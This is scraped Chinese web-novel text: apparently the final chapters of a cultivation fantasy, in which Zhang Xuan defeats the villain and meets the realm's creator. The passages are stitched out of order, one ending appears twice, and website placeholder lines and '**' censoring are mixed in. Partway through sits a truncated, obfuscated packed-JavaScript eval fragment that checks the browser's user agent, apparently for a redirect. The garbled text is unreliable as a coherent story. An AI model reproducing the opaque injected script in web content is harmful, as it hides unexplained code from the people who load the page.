一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第四百零三章 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第四百零四章 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 